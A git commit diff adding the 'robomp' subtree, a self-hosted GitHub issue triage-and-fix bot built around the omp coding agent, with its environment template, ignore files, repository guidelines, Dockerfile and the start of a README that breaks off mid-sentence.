Add 'python/robomp/' from commit '553fd1cfcf59e4c501c54fc81bc083ffd2ca007b'
git-subtree-dir: python/robomp git-subtree-mainline:4f6e70f779git-subtree-split:553fd1cfcf
This commit is contained in:
@@ -0,0 +1,15 @@
|
||||
.venv/
|
||||
.pi-context/
|
||||
data/
|
||||
*.pyc
|
||||
__pycache__/
|
||||
.pytest_cache/
|
||||
.git/
|
||||
.env
|
||||
*.sqlite
|
||||
*.sqlite-wal
|
||||
*.sqlite-shm
|
||||
web/node_modules/
|
||||
web/dist/
|
||||
src/robomp/static/
|
||||
node_modules/
|
||||
@@ -0,0 +1,183 @@
|
||||
# =============================================================================
|
||||
# roboomp environment
|
||||
# =============================================================================
|
||||
#
|
||||
# This file is read in two distinct ways and you MUST keep that in mind when
|
||||
# filling it in:
|
||||
#
|
||||
# 1. `docker compose` interpolates `${VAR}` references in docker-compose.yml.
|
||||
# The compose file uses per-service explicit `environment:` allowlists
|
||||
# (NO `env_file:`), so only the keys listed in each service's block flow
|
||||
# into the corresponding container — never the whole .env.
|
||||
#
|
||||
# 2. The Python `Settings` loader (`src/robomp/config.py`) also reads `.env`
|
||||
# for any local CLI invocation (e.g. `python -m robomp.cli triage …`
|
||||
# running on the host outside docker). `_validate_proxy_or_pat` fails
|
||||
# fast if BOTH a PAT and `ROBOMP_GH_PROXY_URL` are configured, so the
|
||||
# two modes below are mutually exclusive.
|
||||
#
|
||||
# Pick ONE of the two mode blocks below; leave the other fully commented out.
|
||||
# Variables under "### shared ###" apply in either mode.
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# ### shared ### — required regardless of mode
|
||||
# =============================================================================
|
||||
|
||||
# Shared HMAC secret used to verify webhook signatures. Must match the secret
|
||||
# configured in the GitHub webhook UI / settings.
|
||||
GITHUB_WEBHOOK_SECRET=
|
||||
|
||||
# Login name of the bot account whose PAT is in GITHUB_TOKEN (or whichever
|
||||
# account the gh-proxy authenticates as). Used to skip webhook events authored
|
||||
# by the bot itself.
|
||||
ROBOMP_BOT_LOGIN=
|
||||
|
||||
# Commit identity for branches the bot pushes. The email is what reviewers and
|
||||
# GitHub will display next to the commit; pick one that matches how you want
|
||||
# bot-authored commits to appear (a no-reply alias, a real address, etc.).
|
||||
# `gh_push_branch` refuses to push unless every commit on the workspace branch
|
||||
# carries this exact name + email.
|
||||
ROBOMP_GIT_AUTHOR_NAME=
|
||||
ROBOMP_GIT_AUTHOR_EMAIL=
|
||||
|
||||
# Comma-separated owner/repo entries the bot is allowed to act on.
|
||||
ROBOMP_REPO_ALLOWLIST=
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# ### gh-proxy mode (RECOMMENDED, default in docker compose) ###
|
||||
#
|
||||
# The orchestrator NEVER holds the PAT; it talks to the sibling gh-proxy
|
||||
# container over an internal-only docker network, authenticated with a
|
||||
# shared HMAC key. Fill in BOTH variables below and leave the PAT mode
|
||||
# block fully commented out.
|
||||
# =============================================================================
|
||||
|
||||
# Shared HMAC secret the orchestrator uses to authenticate every request to
|
||||
# gh-proxy. The two containers MUST agree on this value. The proxy refuses
|
||||
# any unsigned request; the orchestrator refuses to start without it.
|
||||
# Generate with: openssl rand -hex 32
|
||||
ROBOMP_GH_PROXY_HMAC_KEY=
|
||||
|
||||
# URL the orchestrator uses to reach gh-proxy. The default below matches the
|
||||
# service name + port in docker-compose.yml; override only for local
|
||||
# development outside compose (e.g. `http://127.0.0.1:8081`).
|
||||
ROBOMP_GH_PROXY_URL=http://gh-proxy:8081
|
||||
|
||||
# PAT with `repo` (push, comment, PR) scope. A fine-grained token scoped to
|
||||
# the allowlisted repos is recommended; a classic PAT also works.
|
||||
#
|
||||
# In gh-proxy mode this value lives ONLY in the gh-proxy container's
|
||||
# environment (compose interpolates it into gh-proxy's allowlist only).
|
||||
# Settings refuses to construct an orchestrator config that sees both
|
||||
# GITHUB_TOKEN and ROBOMP_GH_PROXY_URL, so when running orchestrator code
|
||||
# directly on the host (CLI, tests) you MUST keep GITHUB_TOKEN unset.
|
||||
GITHUB_TOKEN=
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# ### PAT mode (single-process, no sidecar) ###
|
||||
#
|
||||
# Drop the gh-proxy entirely and let the orchestrator hold the PAT directly.
|
||||
# To use this mode: uncomment GITHUB_TOKEN below, leave ROBOMP_GH_PROXY_URL
|
||||
# and ROBOMP_GH_PROXY_HMAC_KEY UNSET (above), and run the orchestrator
|
||||
# outside of the bundled docker-compose (which is wired for proxy mode).
|
||||
# =============================================================================
|
||||
|
||||
# GITHUB_TOKEN=ghp_xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# --- Model selection ---
|
||||
# =============================================================================
|
||||
# Either a single model id or a comma-separated pool — roboomp picks one
|
||||
# uniformly at random per task. Use the `<provider>/<model>` form that matches
|
||||
# your ~/.omp/agent/models.yml (which is mounted into the container).
|
||||
ROBOMP_MODEL=p-anthropic/claude-sonnet-4-6
|
||||
# off|low|medium|high
|
||||
ROBOMP_THINKING=high
|
||||
# Optional provider override (passed to `omp --provider`).
|
||||
# ROBOMP_PROVIDER=
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# --- Runtime ---
|
||||
# =============================================================================
|
||||
ROBOMP_MAX_CONCURRENCY=8
|
||||
ROBOMP_TASK_TIMEOUT_SECONDS=2400
|
||||
ROBOMP_TASK_TIMEOUT_HARD_GRACE_SECONDS=60
|
||||
ROBOMP_REQUEST_TIMEOUT_SECONDS=120
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# --- Per-submitter rate limiting ---
|
||||
# =============================================================================
|
||||
# Rolling window plus per-tier caps on queue-worthy submissions per
|
||||
# GitHub login. Accounts whose webhook payload reports author_association
|
||||
# OWNER/MEMBER/COLLABORATOR bypass the limiter automatically. Use the
|
||||
# unlimited list (comma-separated logins, `@` optional) to whitelist
|
||||
# additional users — e.g. yourself when developing outside the repo.
|
||||
ROBOMP_RATE_LIMIT_WINDOW_SECONDS=3600
|
||||
ROBOMP_RATE_LIMIT_DEFAULT=3
|
||||
ROBOMP_RATE_LIMIT_CONTRIBUTOR=10
|
||||
ROBOMP_RATE_LIMIT_UNLIMITED=
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# --- Question auto-close ---
|
||||
# =============================================================================
|
||||
# When the bot answers an issue classified as `question` it appends a
|
||||
# 👎-to-keep-open prompt and schedules the issue to close as
|
||||
# `state_reason=completed` after `HOURS`. Set `ENABLED=false` (or `HOURS=0`)
|
||||
# to disable. Cancellation is automatic on a follow-up comment, an external
|
||||
# close, or the issue author downvoting the bot's comment.
|
||||
ROBOMP_QUESTION_AUTOCLOSE_ENABLED=true
|
||||
ROBOMP_QUESTION_AUTOCLOSE_HOURS=4
|
||||
# How often the scheduler scans for due rows. 60s is plenty given the
|
||||
# multi-hour close window.
|
||||
ROBOMP_QUESTION_AUTOCLOSE_SCAN_SECONDS=60
|
||||
|
||||
# Path or command name for the omp binary inside the container. The shipped
|
||||
# image installs a shim that invokes Bun against the mounted pi checkout.
|
||||
ROBOMP_OMP_COMMAND=omp
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# --- Paths (inside the container) ---
|
||||
# =============================================================================
|
||||
ROBOMP_WORKSPACE_ROOT=/data/workspaces
|
||||
ROBOMP_SQLITE_PATH=/data/robomp.sqlite
|
||||
ROBOMP_LOG_DIR=/data/logs
|
||||
|
||||
|
||||
# =============================================================================
|
||||
# --- Dev only ---
|
||||
# =============================================================================
|
||||
# Bind address for the webhook receiver.
|
||||
ROBOMP_BIND_HOST=0.0.0.0
|
||||
ROBOMP_BIND_PORT=8080
|
||||
|
||||
# Optional token enabling the POST /replay endpoint; leave blank to disable.
|
||||
# ROBOMP_REPLAY_TOKEN=
|
||||
|
||||
# =============================================================================
|
||||
# --- oh-my-pi source location (host side) ---
|
||||
# =============================================================================
|
||||
# `bun run pi-artifacts` and `bun run up` need a local oh-my-pi checkout: the
|
||||
# build reads it as the docker build context, and docker-compose.yml mounts
|
||||
# it read-only at /work/pi inside the container. The wrapper at
|
||||
# scripts/with-pi-root.sh resolves this in order: PI_ROOT → /work/pi → cloned
|
||||
# cache under .cache/oh-my-pi (auto-cloned on first run).
|
||||
#
|
||||
# Set PI_ROOT to point bun scripts at your own checkout; leave blank to let
|
||||
# the wrapper auto-clone.
|
||||
# PI_ROOT=/work/pi
|
||||
#
|
||||
# Override clone source / ref / destination when relying on auto-clone.
|
||||
# ROBOMP_PI_REPO_URL=https://github.com/can1357/oh-my-pi.git
|
||||
# ROBOMP_PI_REF=main
|
||||
# ROBOMP_PI_CACHE_DIR=./.cache/oh-my-pi
|
||||
#
|
||||
# Set to 1 to `git fetch && reset --hard` the cache on every bun-script run.
|
||||
# ROBOMP_PI_AUTO_UPDATE=0
|
||||
@@ -0,0 +1,26 @@
|
||||
.venv/
|
||||
.pi-context/
|
||||
.cache/
|
||||
data/
|
||||
__pycache__/
|
||||
*.pyc
|
||||
.pytest_cache/
|
||||
.env
|
||||
*.sqlite
|
||||
*.sqlite-wal
|
||||
*.sqlite-shm
|
||||
build/
|
||||
dist/
|
||||
*.egg-info/
|
||||
.DS_Store
|
||||
.idea/
|
||||
.vscode/
|
||||
node_modules/
|
||||
*.tsbuildinfo
|
||||
.vite/
|
||||
|
||||
# Frontend bundle. The Vite build (`bun run web:build` / Docker `web-builder`
|
||||
# stage) writes hashed JS/CSS chunks into `src/robomp/static/`. Nothing
|
||||
# committed; the test suite synthesises a minimal placeholder via conftest.
|
||||
src/robomp/static/
|
||||
web/dist/
|
||||
@@ -0,0 +1,125 @@
|
||||
# Repository Guidelines
|
||||
|
||||
## Project Overview
|
||||
|
||||
`roboomp` is a self-hosted GitHub triage-and-fix bot that drives [`omp --mode rpc`](https://github.com/can1357/oh-my-pi) as a subprocess. On every issue opened in an allowlisted repository it classifies the issue, applies labels, then branches into one of: reproduce → fix → PR (`bug` / `documentation`), single-comment answer (`question`), single thoughtful comment (`enhancement` / `proposal`), or brief comment (`invalid` / `duplicate`). Follow-up comments and PR review comments resume the same omp session so the agent keeps its prior reasoning. If the orchestrator restarts mid-task, the dispatcher resumes the same session via `omp --continue` from the per-issue `session_dir`, so an interrupted task re-enters its prior reasoning instead of restarting from scratch. The orchestrator runs as a single FastAPI process inside Docker with SQLite-backed durable event state.
|
||||
|
||||
## Architecture & Data Flow
|
||||
|
||||
Webhook → durable queue → async dispatcher → per-issue git worktree → omp RPC subprocess + host tools.
|
||||
|
||||
1. `POST /webhook/github` — HMAC-SHA256 verified against `GITHUB_WEBHOOK_SECRET` (`server.py` + `github_events.verify_signature`). Bad signature returns `401`.
|
||||
2. `github_events.route()` decides one of `triage_issue` / `handle_comment` / `handle_pr_conversation` / `handle_review` / `cleanup_workspace` / `skip`. Bot-authored events (`*[bot]`, `user.type == "Bot"`, configured `bot_login`) and non-allowlisted repos are dropped here.
|
||||
3. `db.record_event()` inserts the event with `INSERT OR IGNORE` on `X-GitHub-Delivery` (dedup). Endpoint returns `202`.
|
||||
4. `queue.WorkerPool._dispatch_loop` atomically claims `state='queued'` rows under `BEGIN IMMEDIATE`, guarded by an in-process `_inflight` set keyed by `(owner, repo, number)` to serialize per-issue work. Cap: `ROBOMP_MAX_CONCURRENCY` (default 8).
|
||||
5. `sandbox.SandboxManager.ensure_workspace()` produces a worktree at `/data/workspaces/<owner>__<repo>__<n>/repo` on a deterministic branch `farm/<8hex>/<slug>`, backed by a shared `--filter=blob:none` clone pool. Credentialed remote URL and git identity are reset every time.
|
||||
6. `tasks.*` dispatchers build `TaskInputs` and call `worker.run_task()` which spawns `omp --mode rpc` with `cwd=worktree`, persistent `session_dir`, and a randomly-picked model from `ROBOMP_MODEL` (CSV pool). When `<session_dir>/*.jsonl` already exists the worker passes `--continue`, so both follow-up events and crash-restarted events resume the same session.
|
||||
7. Inside the subprocess the agent uses **built-in omp tools** (read/edit/write/bash/lsp, scoped to the worktree) and **host tools** from `host_tools.py` (the only surface allowed to mutate GitHub or write audit rows).
|
||||
8. Success → event `state='done'`. Exception → `state='failed'` with a credential-redacted traceback in `events.last_error`. The `_inflight` slot is released either way.
|
||||
|
||||
## Key Directories
|
||||
|
||||
- `src/robomp/` — package (see "Important Files").
|
||||
- `src/robomp/prompts/` — Mustache-style `{{var}}` templates loaded by `persona.py` via `@cache` and `importlib.resources`. Shipped as package data (`pyproject.toml` `package-data`).
|
||||
- `tests/` — pytest suite. `test_worker_smoke.py` is gated on `ROBOMP_INTEGRATION=1`.
|
||||
- `data/` — runtime state (sqlite + WAL, `workspaces/`, `logs/`). Never committed.
|
||||
- `/work/pi/Dockerfile` — produces `oh-my-pi/artifacts:dev` (pi-natives `.node` + omp-rpc wheel). Built once per pi-source change via `bun run pi-artifacts`; roboomp's runtime image consumes it via `COPY --from=`.
|
||||
|
||||
## Development Commands
|
||||
|
||||
Task runner is now `bun` against the root `package.json` (workspaces = `["web"]`). `just` is gone; every recipe lives in the root `scripts` block. Local venv (no docker): `bun run install:py` runs `pip install -e '.[dev]'`. From there:
|
||||
|
||||
```
|
||||
bun run test # pytest -x tests/
|
||||
bun run test:file <PATH> # single file
|
||||
bun run test:integration # ROBOMP_INTEGRATION=1, requires omp on PATH
|
||||
bun run serve # python -m robomp serve on the host
|
||||
```
|
||||
|
||||
Docker inner loop:
|
||||
|
||||
```
|
||||
bun run build # pi-artifacts (if pi changed) + docker compose build
|
||||
bun run dev # build + up -d + follow logs
|
||||
bun run up / down / restart / logs / sh
|
||||
bun run rebuild # docker compose build --no-cache
|
||||
```
|
||||
|
||||
Frontend (Vite + SolidJS, in `web/`):
|
||||
|
||||
```
|
||||
bun run web:dev # vite dev server with proxy to :8080
|
||||
bun run web:build # produce src/robomp/static/ bundle
|
||||
bun run web:typecheck # tsc --noEmit
|
||||
```
|
||||
|
||||
In-container CLI (`robomp` console script → `robomp.cli:main`):
|
||||
|
||||
```
|
||||
bun run triage owner/repo#N # full pipeline against a live issue
|
||||
bun run replay <delivery_id> # re-enqueue a stored webhook
|
||||
bun run issue-status # tabular dump of issues table
|
||||
bun run cleanup owner/repo#N # force workspace removal + state=abandoned
|
||||
```
|
||||
|
||||
HTTP/sqlite inspection: `bun run healthz`, `bun run readyz`, `bun run events [N]`, `bun run issues [N]`, `bun run sqlite`, `bun run sql "<SQL>"`, `bun run tool-calls owner/repo#N`, `bun run stuck`. Webhook smoke: `bun run ping`. Danger: `bun run wipe-workspaces`, `bun run nuke-data`, `bun run reset`.
|
||||
|
||||
Lint + format: TypeScript via Biome (config in `biome.json`), Python via Ruff (config in `pyproject.toml`). `bun run lint` checks both; `bun run fix` rewrites both. `bun run lint:ts` / `bun run lint:py` / `bun run fix:ts` / `bun run fix:py` scope to one language. `bun run typecheck` runs `tsc --noEmit` against `web/`. Run before committing non-trivial changes; CI is not yet wired up.
|
||||
|
||||
## Code Conventions & Common Patterns
|
||||
|
||||
- **Python ≥3.11**, container is 3.12-slim. `from __future__ import annotations` is the norm; type hints are mandatory on public functions.
|
||||
- **Records**: prefer `@dataclass(slots=True, frozen=True)` for immutable value types (see `github_client.IssueInfo`, `sandbox.Workspace`, `db.EventRow`).
|
||||
- **Async style**: FastAPI handlers and `queue.WorkerPool` are async. `worker.run_task` is **synchronous** and runs in a worker thread because `omp-rpc` is blocking — keep it that way; don't try to async it. CLI commands wrap with `asyncio.run`.
|
||||
- **Config**: `pydantic-settings` `Settings` in `config.py` with `ROBOMP_*` env prefix (e.g. `ROBOMP_MAX_CONCURRENCY`, `ROBOMP_REPO_ALLOWLIST`). Access only via `get_settings()` (`@cache` singleton). Tests must call `reset_settings_cache()` after mutating env.
|
||||
- **Dependency injection**: pass `Settings`, `Database`, `GitHubClient`, `SandboxManager` explicitly into `create_app()`, `WorkerPool`, and `ToolBindings`. No module-level globals other than the singleton accessors (`get_settings`, `get_database`).
|
||||
- **State**: SQLite (`db.Database`) is the source of truth for `events`, `issues`, `tool_calls`. Thread-safe via an internal `_lock`; `BEGIN IMMEDIATE` for claim contention. In-memory state is only the `_inflight` set in `WorkerPool`.
|
||||
- **Error handling**: custom exception types (`GitHubError` with `retry_after`, `GitCommandError`, `InvalidIssueRef`, `RpcCommandError`). `sandbox.redact_credentials()` strips `user:pass@` from any URL before it lands in logs, audit rows, or exception messages. **Never** include credentialed URLs in error strings.
|
||||
- **Logging**: structured JSON via `logging_config.JsonFormatter`. Use `logger.info("event", extra={...})`; do not collide with `_RESERVED` keys. Configure once via `configure_logging()`.
|
||||
- **Host tools** (`host_tools.py`): every tool is built from a per-task `ToolBindings` closure and audits through `_audit()` into `tool_calls`. Audit only ever sees agent-supplied args, never internal credentials. New tools follow the same pattern: validate args → call `GitHubClient` / `SandboxManager` → return structured dict → audit.
|
||||
- **Naming**: snake_case for everything Python; module names singular nouns; test files `test_<module>.py`; test functions `test_<action>_<condition>`.
|
||||
- **Prompts**: edit `src/robomp/prompts/*.md`. Variables use `{{path.to.field}}`; resolution is `persona._lookup`. The package install includes them as data files — adding a new prompt requires no other registration.
|
||||
|
||||
## Important Files
|
||||
|
||||
- `src/robomp/server.py` — FastAPI app, `/webhook/github`, `/healthz`, `/readyz`, `/events`, `/issues`, manual triage/replay endpoints, dashboard at `/`.
|
||||
- `src/robomp/queue.py` — `WorkerPool` dispatcher and `_inflight` serialization.
|
||||
- `src/robomp/tasks.py` — the five task entry points the dispatcher calls.
|
||||
- `src/robomp/worker.py` — synchronous omp RPC driver, prompt assembly via `persona`.
|
||||
- `src/robomp/host_tools.py` — agent's GitHub surface; tool list: `classify_issue`, `set_issue_labels`, `gh_post_comment`, `repro_record`, `gh_push_branch`, `gh_open_pr`, `gh_request_review`, `mark_unable_to_reproduce`, `abort_task`, `fetch_issue_thread`.
|
||||
- `src/robomp/sandbox.py` — clone pool + worktree lifecycle, `GitCommandError`, credential redaction.
|
||||
- `src/robomp/github_client.py` — typed httpx client; parses webhook payloads into `IssueInfo` / `CommentInfo` / `PullRequestInfo`.
|
||||
- `src/robomp/github_events.py` — routing and HMAC verification.
|
||||
- `src/robomp/db.py` — sqlite schema and DAOs (`record_event`, `claim_next_event`, `upsert_issue`, `log_tool_call`).
|
||||
- `src/robomp/config.py` — `Settings` model and `get_settings()`.
|
||||
- `src/robomp/cli.py` — Click CLI (`serve`, `triage`, `replay`, `status`, `cleanup`).
|
||||
- `src/robomp/dashboard.py` — single-page HTML dashboard served from `/`.
|
||||
- `pyproject.toml` — packaging + pytest config (`asyncio_mode = "auto"`, `testpaths = ["tests"]`).
|
||||
- `Dockerfile` — slim runtime; consumes `oh-my-pi/artifacts:dev` (built from `/work/pi/Dockerfile`) for `pi_natives.linux-*.node` + `omp_rpc-*.whl`. Tini entrypoint, exposes `8080`, `VOLUME /data`.
|
||||
- `docker-compose.yml` — `build.args.PI_ARTIFACTS_IMAGE`, mounts `$PI_ROOT:/work/pi:ro`, `./data:/data`, `~/.omp/agent/models.yml:ro`, `extra_hosts: llm-gateway.internal:host-gateway`.
|
||||
- `entrypoint.sh` — validates `PI_ROOT`, creates `/data/{workspaces,logs}` + build caches.
|
||||
- `.env.example` — authoritative list of required runtime env vars.
|
||||
- `README.md` — full architecture + operational reference. Authoritative for end-to-end flow, host-tool spec, security posture, and configuration reference.
|
||||
|
||||
## Runtime/Tooling Preferences
|
||||
|
||||
- **Python**: 3.11+ source target, 3.12 in container. Setuptools src layout (`pyproject.toml` `[tool.setuptools] package-dir = { "" = "src" }`).
|
||||
- **Package manager**: `pip` only. No poetry / uv / pdm files; don't introduce one.
|
||||
- **Task runner**: `bun` (root `package.json` `scripts`). Always reach for an existing `bun run` recipe before invoking `docker compose` or `pytest` directly.
|
||||
- **Container runtime**: Docker Compose v2. The image embeds Bun 1.3.14 + a rustup launcher and exposes `omp` via a `/usr/local/bin/omp` shim; `ROBOMP_OMP_COMMAND=omp` should not need changing.
|
||||
- **Required env** (set in `.env`, see `.env.example`): `GITHUB_WEBHOOK_SECRET`, `ROBOMP_BOT_LOGIN`, `ROBOMP_GIT_AUTHOR_NAME`, `ROBOMP_GIT_AUTHOR_EMAIL`, `ROBOMP_REPO_ALLOWLIST`, plus model knobs (`ROBOMP_MODEL`, `ROBOMP_THINKING`, optional `ROBOMP_PROVIDER`) and rate-limit / concurrency / timeout overrides. **GitHub auth is mode-exclusive**: either set `ROBOMP_GH_PROXY_URL` + `ROBOMP_GH_PROXY_HMAC_KEY` (gh-proxy mode; PAT lives only in the sidecar container — the bundled compose default), or set `GITHUB_TOKEN` directly (single-process PAT mode). `Settings._validate_proxy_or_pat` rejects a `.env` that sets both.
|
||||
- **PI_ROOT resolution**: build (`bun run pi-artifacts`) and `bun run up` route through `scripts/with-pi-root.sh`, which picks `$PI_ROOT` → `/work/pi` → an auto-cloned cache at `./.cache/oh-my-pi`. Override with `ROBOMP_PI_REPO_URL` / `ROBOMP_PI_REF` / `ROBOMP_PI_CACHE_DIR` / `ROBOMP_PI_AUTO_UPDATE=1`. Inside the container the path is always `/work/pi`; compose mounts whatever the wrapper resolves on the host. Build invalidation stays bounded: Python-only edits in roboomp never trigger a natives recompile.
|
||||
- **Forbidden**: no docker-in-docker, no extra service containers, no new background workers outside `WorkerPool`. The container itself is the isolation boundary; per-issue isolation is the git worktree.
|
||||
|
||||
## Testing & QA
|
||||
|
||||
- **Framework**: `pytest` with `asyncio_mode = "auto"` (`pyproject.toml`). HTTP mocking with `httpx.MockTransport`; `respx` is available but only `MockTransport` is used in-tree — match that style.
|
||||
- **Fixtures** (`tests/conftest.py`):
|
||||
- `env` — `monkeypatch`-sets all required `ROBOMP_*` env vars and calls `reset_settings_cache()` before/after.
|
||||
- `settings` — invokes `ensure_paths()` for sqlite/workspace dirs.
|
||||
- `db` — isolated `tmp_path/test.sqlite` `Database`; tests must `database.close()` in teardown when bypassing this.
|
||||
- **Isolation rules**: any test mutating env via `monkeypatch.setenv` MUST also call `reset_settings_cache()` to invalidate the `@cache`d `get_settings()`.
|
||||
- **Async tests**: `test_github_client.py` and `test_host_tools.py` spin custom event loops in background threads to bridge sync-style tests with async client code. Prefer `pytest-asyncio` `auto` mode (`async def test_*`) for new tests; only fall back to the loop helpers if matching the surrounding file's style.
|
||||
- **Mocking**: never patch internals; inject test doubles via `httpx.MockTransport` for HTTP and via the `db` / `tmp_path` fixtures for storage. Sandbox tests use a real local bare repo as the upstream.
|
||||
- **Integration**: `tests/test_worker_smoke.py` is gated by `ROBOMP_INTEGRATION=1` (uses `pytestmark.skipif`) and needs `omp` on `PATH`. Don't enable it in default `bun run test`.
|
||||
- **Coverage expectation**: ~80 unit tests currently. New code with a control-flow branch needs a test covering it; new host tools need at minimum a happy path + one validation-failure path mirroring `test_host_tools.py`. Test logical behavior (assertions on observable effects in DB / HTTP requests), not literal strings or default config values.
|
||||
@@ -0,0 +1,132 @@
|
||||
# syntax=docker/dockerfile:1.7
|
||||
###############################################################################
|
||||
# roboomp — orchestrator image
|
||||
#
|
||||
# Build is split across three stages:
|
||||
#
|
||||
# 1) pi-artifacts — pull a pre-built `oh-my-pi/artifacts:dev` image (built
|
||||
# separately from /work/pi/Dockerfile, see `bun run pi-artifacts`):
|
||||
# - pi_natives.linux-<arch>.node → /opt/bun/bin/ (the pi loader probes here)
|
||||
# - omp_rpc-*.whl → pip install
|
||||
# 2) web-builder — Bun + Vite compile the SolidJS dashboard bundle from
|
||||
# the `web/` workspace into `web/dist/`.
|
||||
# 3) runtime — slim Python 3.12 image that copies in (1) the natives
|
||||
# + wheel, (2) the dashboard bundle, and (3) the roboomp source.
|
||||
#
|
||||
# At runtime the full pi checkout is mounted read-only at /work/pi so `omp`
|
||||
# (the Bun shim below) executes the coding-agent source directly. The image
|
||||
# itself stays slim: no rust compile, no pi source tree, no node_modules.
|
||||
###############################################################################
|
||||
|
||||
ARG PI_ARTIFACTS_IMAGE=oh-my-pi/artifacts:dev
|
||||
|
||||
############################
|
||||
# 1) pi-artifacts — pull the pre-built natives + omp-rpc wheel.
|
||||
############################
|
||||
FROM ${PI_ARTIFACTS_IMAGE} AS pi-artifacts
|
||||
|
||||
############################
|
||||
# 2) web-builder — Bun + Vite, builds the SolidJS dashboard bundle.
|
||||
############################
|
||||
FROM oven/bun:1.3.14-slim AS web-builder
|
||||
WORKDIR /work
|
||||
# The repo is a Bun workspace (`workspaces: ["web"]` at the root). Install
|
||||
# from the root lockfile so the web subpackage resolves against the same
|
||||
# pinned dependency graph used locally.
|
||||
COPY package.json bun.lock ./
|
||||
COPY web/package.json ./web/package.json
|
||||
RUN bun install --frozen-lockfile
|
||||
COPY web/ ./web/
|
||||
RUN bun --cwd=web run build
|
||||
|
||||
############################
|
||||
# 3) runtime — slim image with everything roboomp needs at boot.
|
||||
############################
|
||||
FROM python:3.12-slim-bookworm AS runtime
|
||||
|
||||
ENV PYTHONDONTWRITEBYTECODE=1 \
|
||||
PYTHONUNBUFFERED=1 \
|
||||
PIP_NO_CACHE_DIR=1 \
|
||||
PIP_DISABLE_PIP_VERSION_CHECK=1 \
|
||||
BUN_INSTALL=/opt/bun \
|
||||
PI_ROOT=/work/pi \
|
||||
# Persistent build caches under the /data volume so cargo target and
|
||||
# rustup toolchains are shared across every per-issue worktree and
|
||||
# survive container restarts. Bun's install cache is deliberately
|
||||
# workspace-private at runtime; bun chmod/chown behavior makes a shared
|
||||
# cross-slot cache unreliable.
|
||||
CARGO_HOME=/data/cache/cargo \
|
||||
CARGO_TARGET_DIR=/data/cache/cargo-target \
|
||||
RUSTUP_HOME=/data/cache/rustup \
|
||||
PATH=/opt/bun/bin:/usr/local/cargo/bin:/usr/local/bin:/usr/bin:/bin
|
||||
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends \
|
||||
git curl ca-certificates unzip openssh-client tini sqlite3 \
|
||||
build-essential pkg-config libssl-dev \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
ARG BUN_VERSION=1.3.14
|
||||
RUN curl -fsSL https://bun.sh/install | bash -s "bun-v${BUN_VERSION}" \
|
||||
&& /opt/bun/bin/bun --version
|
||||
|
||||
# Rustup launcher. Install the cargo/rustc/rustup proxies into a fixed
|
||||
# image path; the real toolchain is *not* baked in — it's installed
|
||||
# lazily into RUSTUP_HOME (=/data/cache/rustup) on the first `cargo`
|
||||
# invocation inside a worktree, driven by pi's rust-toolchain.toml.
|
||||
# That keeps the image small while sharing the toolchain across reboots.
|
||||
RUN curl -fsSL https://sh.rustup.rs -o /tmp/rustup-init.sh \
|
||||
&& CARGO_HOME=/usr/local/cargo RUSTUP_HOME=/usr/local/rustup-bootstrap \
|
||||
sh /tmp/rustup-init.sh -y --no-modify-path --default-toolchain none --profile minimal \
|
||||
&& rm -f /tmp/rustup-init.sh \
|
||||
&& rm -rf /usr/local/rustup-bootstrap \
|
||||
&& /usr/local/cargo/bin/rustup --version
|
||||
|
||||
# pi-natives addon: pi's loader probes /opt/bun/bin as a fallback path.
|
||||
COPY --from=pi-artifacts /out/pi_natives.linux-*.node /opt/bun/bin/
|
||||
|
||||
# omp-rpc Python wheel.
|
||||
COPY --from=pi-artifacts /out/*.whl /tmp/wheels/
|
||||
RUN pip install /tmp/wheels/omp_rpc-*.whl && rm -rf /tmp/wheels
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# `omp` shim — calls into the mounted pi checkout via Bun.
|
||||
RUN printf '%s\n' \
|
||||
'#!/usr/bin/env bash' \
|
||||
'set -euo pipefail' \
|
||||
': "${PI_ROOT:=/work/pi}"' \
|
||||
'if [ ! -d "$PI_ROOT/packages/coding-agent" ]; then' \
|
||||
' echo "roboomp: PI_ROOT=$PI_ROOT does not look like a pi checkout" >&2' \
|
||||
' exit 127' \
|
||||
'fi' \
|
||||
'exec bun "$PI_ROOT/packages/coding-agent/src/cli.ts" "$@"' \
|
||||
> /usr/local/bin/omp \
|
||||
&& chmod +x /usr/local/bin/omp
|
||||
|
||||
# roboomp itself. Drop the Vite-built dashboard into the package tree before
|
||||
# `pip install` so it lands in the installed wheel (`static/**/*` is declared
|
||||
# as package-data in pyproject.toml).
|
||||
COPY pyproject.toml ./
|
||||
COPY src/ ./src/
|
||||
COPY --from=web-builder /work/web/dist/ ./src/robomp/static/
|
||||
RUN pip install --upgrade pip \
|
||||
&& pip install \
|
||||
"fastapi>=0.112" "uvicorn[standard]>=0.30" "httpx>=0.27" \
|
||||
"pydantic>=2.6" "pydantic-settings>=2.2" "python-dotenv>=1.0" \
|
||||
"click>=8.1" \
|
||||
&& pip install --no-deps .
|
||||
|
||||
RUN mkdir -p /srv/agent-home/.agent /srv/agent-home/.omp/agent \
|
||||
&& mkdir -p /srv/agent-home-stage/.agent /srv/agent-home-stage/.omp/agent \
|
||||
&& printf '[install]\nbackend = "copyfile"\n' > /srv/agent-home/.bunfig.toml
|
||||
|
||||
COPY entrypoint.sh /usr/local/bin/robomp-entrypoint
|
||||
RUN chmod +x /usr/local/bin/robomp-entrypoint
|
||||
|
||||
VOLUME ["/data"]
|
||||
EXPOSE 8080
|
||||
EXPOSE 8081
|
||||
|
||||
ENTRYPOINT ["/usr/bin/tini", "--", "/usr/local/bin/robomp-entrypoint"]
|
||||
CMD ["python", "-m", "robomp", "serve"]
|
||||
@@ -0,0 +1,223 @@
|
||||
# roboomp
|
||||
|
||||
Self-hosted GitHub triage bot. Drives [`omp --mode rpc`](https://github.com/can1357/oh-my-pi)
|
||||
as a subprocess against a per-issue git worktree, then writes back to GitHub
|
||||
through a sidecar that holds the PAT.
|
||||
|
||||
On `issues.opened` in an allowlisted repo it classifies the issue, labels it,
|
||||
and branches:
|
||||
|
||||
- `bug` / `documentation` → reproduce, fix on a fresh branch, open a PR whose
|
||||
